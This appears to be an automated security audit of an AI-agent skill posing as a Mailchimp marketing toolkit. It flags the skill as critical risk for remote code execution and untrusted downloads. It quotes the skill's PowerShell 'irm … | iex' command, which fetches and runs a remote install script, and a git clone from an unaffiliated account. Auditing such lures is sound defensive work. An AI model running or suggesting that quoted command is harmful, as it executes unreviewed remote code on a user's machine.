mailchimp-marketing-api-toolkit
Fail
Audited by Gen Agent Trust Hub on Sep 22, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSCOMMAND_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The PowerShell installation method uses the pattern
irm [URL] | iex(Invoke-RestMethod piped to Invoke-Expression). This pattern downloads a script from a remote server and executes it directly in the shell without any user review. - Evidence:
irm https://raw.githubusercontent.com/dustfinderfactory/Activate/main/install.ps1 | iexinSKILL.md. - [EXTERNAL_DOWNLOADS]: The skill instructs users to clone a repository from an untrusted GitHub account (
SeizeCourseCall) that is not affiliated with Mailchimp or the stated author. This poses a significant supply chain risk as the contents of the repository are unverifiable. - Evidence:
git clone https://github.com/SeizeCourseCall/mailchimp-marketing.gitinSKILL.md. - [COMMAND_EXECUTION]: The skill promotes the immediate execution of remote scripts and manual cloning of external code, facilitating the execution of arbitrary commands on the host system.
Recommendations
- AI detected serious security threats
Audit Metadata